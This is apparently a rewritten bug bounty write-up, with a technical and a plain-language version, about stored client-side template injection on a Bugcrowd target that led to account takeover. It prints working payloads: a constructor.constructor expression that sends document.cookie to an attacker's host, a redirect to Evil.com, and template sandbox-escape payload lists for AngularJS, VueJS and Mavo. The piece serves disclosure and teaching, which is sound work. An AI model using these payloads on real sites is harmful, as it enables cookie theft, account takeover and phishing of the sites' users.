C.S.T.I Lead To Account Takeover $$$
A page creation feature allowed stored client-side template injection (CSTI) because user input was rendered by a client-side template engine. An attacker could inject a template expression that executed JavaScript in the browser of any user who viewed the page, stealing cookies and taking over accounts.
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a program on Bugcrowd. The researcher had 131 domains in scope for recon. The application in question lets you create an account as a company and invite other users into that company; an admin is able to invite other users. Separately, there is an endpoint where both normal users and admins can create a page. That page has a lot of inputs and supports uploading pictures and similar content. The write-up does not name the program or the specific subdomain.
The bug class is client-side template injection (C.S.T.I), which in this case led to account takeover.
Setup
The recon was deliberately quick: subdomain enumeration only, no deep crawling. The toolchain was:
- subfinder
- findomain
- amass
- assetfinder
- deduplicated to remove duplicates
- httpx, run twice: first to find valid subdomains, then against the results to keep only 2xx status codes
After that the researcher took screenshots of everything in the 2xx.txt list. Two roles matter for the exploitation: a normal user and a company admin. Both can create pages, and every user can open pages created by others.
Finding it
The researcher uses a single "magic payload" to probe many injection classes at once: HTML injection, XSS, C.S.T.I and S.S.T.I. It is meant to be injected into any input.
`"'><img src=x onerror=promtp(7)>`"'${{8*8}}
The researcher describes it as a simple but useful payload for testing HTML injection, XSS, C.S.T.I and S.S.T.I, meant to be injected into any input. The ${{8*8}} part came back as 64 where the input was evaluated.

On the page-creation feature, the first issue found was stored HTML injection: the researcher could inject all HTML tags, for example to create a form. A report about this was filed, referencing a report from other platforms where the same class was resolved as medium, but nothing changed.
Then the researcher decided some inputs of the page were vulnerable to C.S.T.I, based on the magic payload. After saving the page, the inputs returned 64, which is the ${{8*8}} expression being evaluated by the template engine rather than rendered as text.
Exploitation
Step 1: confirm template evaluation
Inject the magic payload into an input of the page-creation feature and save the page. The ${{8*8}} part comes back as 64 in the inputs. That confirms the input is evaluated as a client-side template expression.
Step 2: steal cookies
With C.S.T.I confirmed, the researcher used this payload:
{{constructor.constructor('new Image().src="http://[redacted]/bogus.php?output="+document.cookie;')()}}
constructor.constructor reaches the Function constructor from an ordinary object, so the string is compiled and executed as JavaScript. The code creates an Image whose src points at the attacker's listener, with document.cookie appended as the output query parameter. Because the payload is stored in a page, every user who opens that page runs it, and their cookie is sent to the attacker. The researcher states that this is enough to steal all users' cookies and take over full accounts, and notes that no HTTP-only protection was set on the cookies.
Step 3: redirect
A second payload redirects the page:
{{constructor.constructor('location.replace("https://Evil.com")')()}}
Same constructor.constructor trick, with location.replace sending the victim to an attacker-controlled site.
Step 4: the first report and its rejection
The first report described the C.S.T.I and its impact. After 17 comments and several blockers, it was closed as N/A with the reason: "we were unable to reproduce your issue".
Step 5: the second report
The researcher reported it again, exploited it, and recorded a video of around 20 minutes. After 4 blockers, the report was rewarded with a $$$ bounty.
The scenario: as a normal user or admin in the company, you create a page; the page has vulnerable inputs; after injecting the cookie-stealing payload, every user who opens the poisoned page (all users can create pages and open other users' pages) sends their cookie to the attacker. That allows account takeover, including an admin account, because the cookies had no HTTP-only protection.
Root cause
The page-creation feature evaluated the ${{8*8}} probe as an expression rather than showing it as text. The ${{8*8}} probe returning 64 shows the engine evaluates expressions in stored content instead of treating it as inert text. The researcher used the constructor.constructor payloads to run JavaScript in the page context. The cookies lacked the HTTP-only flag, so the injected script could read document.cookie directly. The report does not describe the server-side code or any sanitisation that was or was not applied; the exact rendering path is not stated.
Impact
Any user who opens a page created by an attacker runs the injected expression. Because every user can create pages and open other users' pages, the poisoned page can reach other normal users and admins. With cookies readable from JavaScript, the attacker can take over the victim's account, including an admin account. The impact depends on the victim opening the page and on the cookies not being HTTP-only, which the researcher states was the case here.
Fix
The measures implied by the finding are to stop evaluating user input as template expressions (treat stored page content as text, or sanitise it before rendering) and to set the HTTP-only flag on session cookies so injected JavaScript cannot read them.
Variants to test
The researcher lists payloads for other JavaScript libraries, useful when the magic payload shows evaluation but the AngularJS-style expression does not fire.
AngularJS:
{{$on.constructor('alert(1)')()}}{{constructor.constructor('alert(1)')()}}<input ng-focus=$event.view.alert('XSS')>{{constructor.constructor('alert(1)')()}}<input ng-focus=$event.view.alert('XSS')>
VueJS:
V3:{{_openBlock.constructor('alert(1)')()}}V2:{{constructor.constructor('alert(1)')()}}
Mavo:
[7*7][(1,alert)(1)]<div mv-expressions="{{ }}">{{top.alert(1)}}</div>[self.alert(1)]javascript:alert(1)%252f%252f..%252fcss-images[Omglol mod 1 mod self.alert (1) andlol][''=''or self.alert(lol)]<a data-mv-if='1 or self.alert(1)'>test</a><div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div><a href=[javascript&':alert(1)']>test</a>[self.alert(1)mod1]
What happened, in plain words
A security researcher was hunting for bugs on a bug bounty platform called Bugcrowd. Bug bounty programs are arrangements where companies pay people to find security problems in their websites and report them privately, instead of exploiting them or publishing them. The researcher picked one program that listed 131 different domains (website addresses) as fair game for testing.
The researcher found a feature on one of those websites where users can create pages with lots of input fields and even upload pictures. The problem was that when a user typed certain special text into those fields, the website did not treat it as plain text. Instead, it ran that text as a small program inside the visitor's browser. This class of bug is called client-side template injection, or C.S.T.I for short. A template is a page with blanks that get filled in automatically; a template engine is the software that fills those blanks. If the engine is careless, it will also fill a blank with something a user typed, and if that something looks like a formula, the engine will calculate it instead of showing it as words.
Because the researcher could make the website run their own small program, they could also make it read the visitor's cookies. A cookie is a small piece of data that a website stores in your browser so it can remember who you are between page loads; the session cookie is effectively your logged-in badge. If someone else gets your session cookie, they can pretend to be you without knowing your password. That is called account takeover. The researcher reported this, and after an initial report was rejected, a second report with a video earned a bounty (a cash reward).
The target and the setup
The program was on Bugcrowd. The researcher had 131 domains to look through. Rather than testing every page by hand, they started with reconnaissance, which just means mapping out what exists before attacking anything. Think of it like walking around a building and writing down every door before trying the handles.
The toolchain was deliberately quick: subdomain enumeration only, no deep crawling. A subdomain is a prefix on a domain name, like shop.example.com next to example.com; companies often have many, and forgotten ones are common places to find bugs. The tools were:
- subfinder
- findomain
- amass
- assetfinder
- deduplicated to remove duplicates
- httpx, run twice: first to find valid subdomains, then against the results to keep only 2xx status codes
Each of the first four tools asks public sources (certificate records, search engines, DNS data) for names that might belong to the target. Running several and then removing duplicates with deduplicated gives a cleaner list. httpx then actually visits each name to see if a web server answers. Running it a second time and keeping only 2xx status codes means keeping only pages that loaded successfully: 2xx is the family of HTTP status codes that mean "here is your page", as opposed to 3xx (redirect), 4xx (not found or forbidden) or 5xx (server error).
After that the researcher took screenshots of everything in the 2xx.txt list, so they could glance through many pages quickly and spot the interesting ones.
Two roles matter for the exploitation: a normal user and a company admin. The application lets you create an account as a company and invite other users into that company; an admin is able to invite other users. Separately, there is an endpoint where both normal users and admins can create a page. An endpoint is simply a specific address on a server that does one job, like a counter in a shop: you go to this one to create a page, that one to log in. The page-creation feature has a lot of inputs and supports uploading pictures and similar content. Every user can open pages created by others, which is what turns a stored bug into something that can reach many people.
Finding it
The researcher uses a single "magic payload" to probe many injection classes at once: HTML injection, XSS, C.S.T.I and S.S.T.I. A payload here just means the text you type into a field to test what the site does with it. HTML is the language web pages are written in; XSS (cross-site scripting) is when a site lets an attacker's JavaScript run in another visitor's browser; S.S.T.I is the same idea as C.S.T.I but the template is processed on the server rather than in the browser. The payload is meant to be injected into any input.
`"'><img src=x onerror=promtp(7)>`"'${{8*8}}
Line by line, in plain words:
- The backtick and the quote characters at the start are there to break out of whatever wrapping the site put around your input. If the site writes your text inside quotes, a quote of your own can end that string early and let the rest of your text be treated as code.
>closes whatever HTML tag the site had opened around your input, so the following text starts a fresh tag.<img src=x onerror=promtp(7)>tries to insert an image whose address (src) is the nonsense valuex, so the image fails to load.onerroris an attribute that tells the browser what to do when loading fails, and here it holds a small JavaScript call. Note the misspeltpromtp: as written, that handler would not run, because the function name is wrong. It is still useful as a probe, because if the text comes back as live HTML rather than as visible characters, you know the site is not escaping your input.- The closing backtick and quotes mirror the opening ones, probing for template-literal and string contexts.
${{8*8}}is the AngularJS-style interpolation expression. AngularJS is a JavaScript framework that lets pages contain little formulas in double curly braces; the engine replaces them with their result.8*8is 64, so if the site is processing your input through such an engine, you will see64where you typed the formula. If you see the literal text${{8*8}}, the site treated it as plain words.

On the page-creation feature, the first issue found was stored HTML injection: the researcher could inject all HTML tags, for example to create a form. "Stored" means the site saves your input and shows it to other people later, rather than only reflecting it back to you once. A report about this was filed, referencing a report from other platforms where the same class was resolved as medium, but nothing changed. Severity labels like medium are how programs rank how serious a bug is; the researcher's point was that a comparable bug had been taken seriously elsewhere.
Then the researcher decided some inputs of the page were vulnerable to C.S.T.I, based on the magic payload. After saving the page, the inputs returned 64, which is the ${{8*8}} expression being evaluated by the template engine rather than rendered as text. That single number is the proof: the site did arithmetic on text a user supplied.
Exploitation
Step 1: confirm template evaluation
Inject the magic payload into an input of the page-creation feature and save the page. The ${{8*8}} part comes back as 64 in the inputs. That confirms the input is evaluated as a client-side template expression. Why this step matters: before you claim a bug, you want a result that cannot be explained any other way. A number appearing where a formula was typed is exactly that.
Step 2: steal cookies
With C.S.T.I confirmed, the researcher used this payload:
{{constructor.constructor('new Image().src="http://[redacted]/bogus.php?output="+document.cookie;')()}}
Line by line:
- The outer
{{ }}is the template syntax the engine will evaluate, the same braces as in the magic payload. constructoris a property every JavaScript object has; it points at the function that built the object.constructor.constructorwalks from an ordinary object up to JavaScript'sFunctionconstructor, which is the built-in tool that turns a piece of text into a runnable function. This is the standard trick for escaping a template sandbox: the template engine may block direct access to dangerous features, but it usually cannot block this chain.- The string in single quotes is the code that will be compiled:
new Image().src="http://[redacted]/bogus.php?output="+document.cookie;. It creates an image object in memory (never shown on the page) and sets its address to the attacker's server, appending the visitor's cookies as a query parameter calledoutput. Setting an image address makes the browser fetch it, which is how the data leaves the page.document.cookieis the browser's built-in way for JavaScript to read the site's cookies. - The empty
()at the end calls the function that was just built, so the code actually runs.
Because the payload is stored in a page, every user who opens that page runs it, and their cookie is sent to the attacker. The researcher states that this is enough to steal all users' cookies and take over full accounts, and notes that no HTTP-only protection was set on the cookies. HTTP-only is a flag a server can put on a cookie that tells the browser: never let JavaScript read this one. Without it, any script running on the page can read the session cookie and send it elsewhere.
Step 3: redirect
A second payload redirects the page:
{{constructor.constructor('location.replace("https://Evil.com")')()}}
Same constructor.constructor trick, with location.replace sending the victim to an attacker-controlled site. location is the browser's object for the current address, and replace swaps the current page for a new one. This is useful for phishing: the victim lands on a lookalike login page and types their password there.
Step 4: the first report and its rejection
The first report described the C.S.T.I and its impact. After 17 comments and several blockers, it was closed as N/A with the reason: "we were unable to reproduce your issue". N/A means not applicable, the program's way of saying the report does not count. A blocker is a person on the program's triage team who reviews reports. "Unable to reproduce" means the team tried the steps and did not see the bug, which often happens when the steps are not precise enough or depend on a detail the reporter did not spell out.
Step 5: the second report
The researcher reported it again, exploited it, and recorded a video of around 20 minutes. After 4 blockers, the report was rewarded with a $$$ bounty.
The scenario: as a normal user or admin in the company, you create a page; the page has vulnerable inputs; after injecting the cookie-stealing payload, every user who opens the poisoned page (all users can create pages and open other users' pages) sends their cookie to the attacker. That allows account takeover, including an admin account, because the cookies had no HTTP-only protection. Account takeover means logging in as the victim, with all their permissions; if the victim is an admin, the attacker inherits admin rights.
Root cause
The page-creation feature evaluated the ${{8*8}} probe as an expression rather than showing it as text. The ${{8*8}} probe returning 64 shows the engine evaluates expressions in stored content instead of treating it as inert text. The researcher used the constructor.constructor payloads to run JavaScript in the page context. The cookies lacked the HTTP-only flag, so the injected script could read document.cookie directly. The report does not describe the server-side code or any sanitisation that was or was not applied; the exact rendering path is not stated.
Impact
Any user who opens a page created by an attacker runs the injected expression. Because every user can create pages and open other users' pages, the poisoned page can reach other normal users and admins. With cookies readable from JavaScript, the attacker can take over the victim's account, including an admin account. The impact depends on the victim opening the page and on the cookies not being HTTP-only, which the researcher states was the case here.
Fix
The report does not say what the program changed. The measures implied by the finding are to stop evaluating user input as template expressions (treat stored page content as text, or sanitise it before rendering) and to set the HTTP-only flag on session cookies so injected JavaScript cannot read them.
Variants to test
The researcher lists payloads for other JavaScript libraries, useful when the magic payload shows evaluation but the AngularJS-style expression does not fire. Different sites use different template engines, and each has its own syntax for reaching the same dangerous chain.
AngularJS:
{{$on.constructor('alert(1)')()}}{{constructor.constructor('alert(1)')()}}<input ng-focus=$event.view.alert('XSS')>{{constructor.constructor('alert(1)')()}}<input ng-focus=$event.view.alert('XSS')>
Line by line:
{{$on.constructor('alert(1)')()}}uses$on, an AngularJS internal, to reach the sameconstructorchain and pop an alert box showing1. An alert box is the simplest visible proof that your JavaScript ran.{{constructor.constructor('alert(1)')()}}is the direct version of the same trick.<input ng-focus=$event.view.alert('XSS')>is an input field with an AngularJS directive: when the field receives focus (you click or tab into it), the expression runs and shows an alert with the textXSS.- The last two repeat the first two, giving the engine a second chance in case the first occurrence is stripped.
VueJS:
V3:{{_openBlock.constructor('alert(1)')()}}V2:{{constructor.constructor('alert(1)')()}}
Line by line:
V3:is just a label for Vue version 3.{{_openBlock.constructor('alert(1)')()}}uses_openBlock, an internal Vue 3 function, to reach the constructor chain and alert.V2:labels the Vue version 2 variant,{{constructor.constructor('alert(1)')()}}, which is the direct chain.
Mavo:
[7*7][(1,alert)(1)]<div mv-expressions="{{ }}">{{top.alert(1)}}</div>[self.alert(1)]javascript:alert(1)%252f%252f..%252fcss-images[Omglol mod 1 mod self.alert (1) andlol][''=''or self.alert(lol)]<a data-mv-if='1 or self.alert(1)'>test</a><div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div><a href=[javascript&':alert(1)']>test</a>[self.alert(1)mod1]
Line by line:
[7*7]is an arithmetic probe: if it comes back as49, Mavo is evaluating expressions in square brackets.[(1,alert)(1)]uses the comma operator to reachalertand call it.<div mv-expressions="{{ }}">{{top.alert(1)}}</div>turns on Mavo expression handling on a div and then callsalertthrough the top window.[self.alert(1)]callsalerton the current window.javascript:alert(1)%252f%252f..%252fcss-imagesis ajavascript:link with encoded slashes and a path, probing how the site handles URLs.[Omglol mod 1 mod self.alert (1) andlol]and[''=''or self.alert(lol)]are expression tricks that reachalertthrough operators.<a data-mv-if='1 or self.alert(1)'>test</a>puts the call in a Mavo conditional attribute, so it runs when the condition is evaluated.<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>sets the expression delimiters to the wordlolxand then callsalertbetween them.<a href=[javascript&':alert(1)']>test</a>builds ajavascript:link out of pieces, which can slip past simple filters.[self.alert(1)mod1]is another arithmetic-flavoured call.
Glossary
- Account takeover: gaining control of someone else's account, usually by stealing their session, so you act as them with their permissions.
- Admin: a user with extra rights, here able to invite other users into a company.
- Alert: a browser pop-up box that shows a message; used in testing as visible proof that JavaScript ran.
- AngularJS: a JavaScript framework that lets pages contain expressions in double curly braces, which the engine evaluates.
- API: a defined address on a server that a program or page talks to in order to do something, like a service counter with a fixed set of requests.
- Attribute: a setting written inside an HTML tag, such as
srcoronerroron an image. - Blocker: a person on a bug bounty program's triage team who reviews and decides on reports.
- Bounty: a cash reward paid by a program for a valid security report.
- Bug bounty program: an arrangement where a company pays researchers to find and privately report security problems.
- Client-side: happening in the visitor's browser rather than on the server.
- Constructor: in JavaScript, the function that built an object;
constructor.constructorreaches the built-inFunctionconstructor, which compiles text into runnable code. - Cookie: a small piece of data a site stores in your browser to remember you; the session cookie acts as your logged-in badge.
- C.S.T.I (client-side template injection): a bug where user input is evaluated as a template expression in the browser instead of being shown as text.
- DNS: the system that translates domain names into the addresses computers use.
- Domain: a registered name on the internet, like
example.com. - Endpoint: a specific address on a server that performs one function.
- Escaping: converting special characters in user input into harmless text so they cannot be treated as code.
- Expression: a short formula a template engine calculates, such as
8*8. - Function constructor: JavaScript's built-in tool that turns a string into a function you can call.
- HTML: the language web pages are written in, made of tags and attributes.
- HTML injection: a bug where user input is inserted into a page as live HTML rather than as text.
- HTTP status code: a number a server returns with each response; 2xx means success, 3xx redirect, 4xx client error, 5xx server error.
- HTTP-only: a cookie flag that stops JavaScript from reading that cookie.
- httpx: a tool that visits a list of hosts and reports which respond and with what status.
- Interpolation: the act of a template engine replacing a placeholder with its calculated value.
- JavaScript: the programming language browsers run to make pages interactive.
javascript:link: a link whose target is JavaScript code, run when clicked.- Mavo: a JavaScript framework that evaluates expressions in square brackets and in special attributes.
- N/A: not applicable; a program's label for a report it does not accept.
- Payload: the text you type into an input to test how the site handles it.
- Phishing: tricking someone into entering their credentials on a fake page.
- Query parameter: the part of a URL after
?, made of name and value pairs, used to pass data to a server. - Recon (reconnaissance): mapping out a target's domains, subdomains and pages before testing.
- Redirect: sending the browser from one address to another.
- Sanitisation: cleaning user input so dangerous parts are removed or neutralised before it is displayed.
- Screenshot: a saved picture of a page, used to review many pages quickly.
- Session: the period you stay logged in, identified by a session cookie.
- S.S.T.I (server-side template injection): like C.S.T.I but the template is evaluated on the server.
- Stored: saved by the site and shown to other visitors later, as opposed to reflected back only to you.
- Subdomain: a prefix on a domain name, like
shop.example.com. - Subdomain enumeration: collecting subdomain names for a target from public sources and tools.
- Template: a page with placeholders that get filled in automatically.
- Template engine: software that fills in a template's placeholders, sometimes by calculating expressions.
- Triage: the process of reviewing incoming reports and deciding whether they are valid.
- VueJS: a JavaScript framework that evaluates expressions in double curly braces, with different internals per version.
- XSS (cross-site scripting): a bug where an attacker's JavaScript runs in another visitor's browser.